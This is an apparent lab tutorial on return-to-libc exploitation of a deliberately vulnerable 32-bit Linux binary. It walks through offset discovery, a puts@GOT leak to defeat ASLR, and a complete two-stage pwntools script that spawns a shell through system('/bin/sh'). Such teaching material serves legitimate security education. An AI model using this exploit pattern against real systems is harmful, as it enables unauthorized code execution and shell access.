When NX (No-Execute) protection is enabled, you cannot execute shellcode on the stack. Return-to-libc attacks bypass this by redirecting execution to existing functions in libc, such as system().
Note
Lab Binary This tutorial uses the
vulnerablebinary from the Linux Exploitation Lab (04-ret2libc-x86/). See the setup guide for build instructions.
Note
Some examples in this tutorial use pwntools. Install with
pip install pwntools.
Warning
Non-PIE binary required The leak technique below works because PLT and GOT addresses are fixed at build time. If the binary is built with PIE (
-fPIE -pie), the PLT moves on every run and you would need a separate info leak (e.g., a stack/text leak) before you can callputs@pltreliably. Confirm withchecksec --file=./vulnerableand look forPIE: No PIEbefore continuing.The libc offsets shown later (
puts_offset,system_offset,binsh_offset) are specific to one glibc build. On any other system you must rebuild them withreadelfagainst the locallibc.so.6— copying the literals will produce wrong addresses and a crash. See Finding Offsets below.
Understanding ret2libc
The Concept
Instead of executing our own code, we:
- Overwrite EIP with the address of a libc function (e.g.,
system()) - Set up the stack to pass arguments to that function
- Provide a return address for after the function completes
Payload Structure
[ Junk Buffer ][ system() ][ exit() ][ "/bin/sh" ]
N bytes EIP ret arg1The key insight is that we arrange the stack to look exactly like a normal call system would. When ret pops system()’s address into EIP, the stack must match what system() expects: its return address and then its first argument.
Here is the stack layout after the overflow, at the moment ret executes:
High addresses
┌──────────────────────────────┐
│ addr of "/bin/sh" string │ ← arg1 to system()
├──────────────────────────────┤
│ addr of exit() (fake ret) │ ← system()'s return addr
├──────────────────────────────┤
│ addr of system() │ ← popped into EIP by ret
├──────────────────────────────┤
│ AAAA (overwritten saved EBP) │
├──────────────────────────────┤
│ │
│ AAAAAAA... (140 bytes junk) │
│ │
├──────────────────────────────┤
ESP → (top of stack)
Low addressesWhen the vulnerable function’s ret fires, it pops the address of system() into EIP. Now system() is running and sees the stack above it: exit() as its return address and the pointer to "/bin/sh" as its first argument. After the shell exits, execution flows into exit() for a clean termination.
Initial Analysis
Identifying the Vulnerability
python3 -c 'print("A"*200)' | ./vulnerable
# Segmentation fault (core dumped)
python3 -c 'print("A"*100)' | ./vulnerable
# No crashThe crash occurs around 200 characters.
Finding the EIP Offset
gdb-peda$ pattern create 200 pattern.txt
gdb-peda$ run < pattern.txt
EIP: 0x41416d41 ('AmAA')
gdb-peda$ pattern offset 0x41416d41
1094806849 found at offset: 140Checking Protections
checksec --file=./vulnerableArch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)NX is enabled - we cannot execute stack shellcode. ASLR status:
cat /proc/sys/kernel/randomize_va_space
2 # ASLR is activeLeaking libc Addresses
Since ASLR randomizes libc’s base address, we need to leak an address at runtime.
Understanding PLT and GOT
- PLT (Procedure Linkage Table): Contains stubs that jump to GOT entries
- GOT (Global Offset Table): Contains actual function addresses after resolution
The PLT/GOT addresses are fixed (no PIE), but GOT entries point to randomized libc addresses.
The Leak Strategy
- Call
puts@pltwithputs@gotas argument - This prints the actual libc address of
puts - Return to
mainto exploit again with known addresses
Identifying Addresses
gdb-peda$ info functions
0x08048340 puts@plt
0x0804847d main
gdb-peda$ x/3i 0x8048340
0x8048340 <puts@plt>: jmp DWORD PTR ds:0x80497b0
gdb-peda$ x/wx 0x80497b0
0x80497b0 <puts@got.plt>: 0xb7e68ca0puts@plt:0x08048340puts@got:0x080497b0main:0x0804847d
Building the Exploit
Note
Before constructing the payload, we need the addresses of
system(),/bin/sh, andexit()in libc. The Finding Offsets section below shows how to locate them usingreadelfandstrings.
Stage 1: Leak puts Address
from pwn import *
r = process('./vulnerable')
puts_plt = 0x8048340
puts_got = 0x80497b0
main = 0x0804847d
payload = b""
payload += b"A"*140 # Junk to reach EIP
payload += p32(puts_plt) # Call puts()
payload += p32(main) # Return to main after puts
payload += p32(puts_got) # Argument: address to print
r.recvuntil(b'desert:') # Wait for the vulnerable binary's input prompt
r.sendline(payload)
r.recvline()
leak = u32(r.recvline()[:4])
log.info('puts@libc is at: {}'.format(hex(leak)))Note
The
desert:prompt is the output from the vulnerable binary — it’s prompting for user input, which is where we send our payload.
Stage 2: Calculate libc Base
With the leaked puts address, calculate libc’s base:
# Find puts offset in libc
# readelf -s /lib/i386-linux-gnu/libc.so.6 | grep puts
puts_offset = 0x67ca0 # Example offset
libc_base = leak - puts_offset
log.info('libc base: {}'.format(hex(libc_base)))Stage 3: Call system(“/bin/sh”)
# Find system and /bin/sh offsets in libc
system_offset = 0x3ada0
binsh_offset = 0x17b8cf
system_addr = libc_base + system_offset
binsh_addr = libc_base + binsh_offset
payload2 = b""
payload2 += b"A"*140
payload2 += p32(system_addr)
payload2 += p32(0xdeadbeef) # Return address (don't care)
payload2 += p32(binsh_addr) # Argument to system()
r.sendline(payload2)
r.interactive()Complete Exploit
#!/usr/bin/env python3
from pwn import *
# Addresses from binary (no PIE, fixed)
puts_plt = 0x8048340
puts_got = 0x80497b0
main = 0x0804847d
# Offsets from libc (find with readelf/objdump)
puts_offset = 0x67ca0
system_offset = 0x3ada0
binsh_offset = 0x17b8cf
r = process('./vulnerable')
# Stage 1: Leak puts address
payload1 = b"A"*140
payload1 += p32(puts_plt)
payload1 += p32(main)
payload1 += p32(puts_got)
r.recvuntil(b'desert:') # Wait for the vulnerable binary's input prompt
r.sendline(payload1)
r.recvline()
leak = u32(r.recvline()[:4])
libc_base = leak - puts_offset
log.success('Leaked puts@libc: {}'.format(hex(leak)))
log.success('libc base: {}'.format(hex(libc_base)))
# Stage 2: Call system("/bin/sh")
system_addr = libc_base + system_offset
binsh_addr = libc_base + binsh_offset
payload2 = b"A"*140
payload2 += p32(system_addr)
payload2 += b"JUNK" # Fake return address
payload2 += p32(binsh_addr)
r.recvuntil(b'desert:') # Wait for the vulnerable binary's input prompt again
r.sendline(payload2)
r.interactive()Finding Offsets
Locating libc
ldd ./vulnerable
# libc.so.6 => /lib/i386-linux-gnu/libc.so.6
locate libc.so.6Finding Function Offsets
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep -w system
# 1443: 0003ada0 55 FUNC WEAK DEFAULT 13 system@@GLIBC_2.0
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep -w puts
# 423: 00067ca0 474 FUNC WEAK DEFAULT 13 puts@@GLIBC_2.0Finding /bin/sh String
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
# 17b8cf /bin/shKey Concepts
Why This Works
- PLT/GOT addresses are fixed (no PIE)
- We can call
putsto leak any address - libc functions have fixed offsets from the base
- Once we know one address, we can calculate all others
ASLR vs PIE
- ASLR randomizes library (libc) addresses
- PIE randomizes the binary’s own addresses
- Without PIE, PLT/GOT addresses are predictable
- We leak libc addresses through GOT entries
Troubleshooting
Wrong Offsets
Offsets vary between libc versions. Always check the target system’s libc:
# On target
ldd --version
md5sum /lib/i386-linux-gnu/libc.so.6Partial Overwrite
If the leak looks wrong, check for null bytes truncating the output. You may need to leak a different function.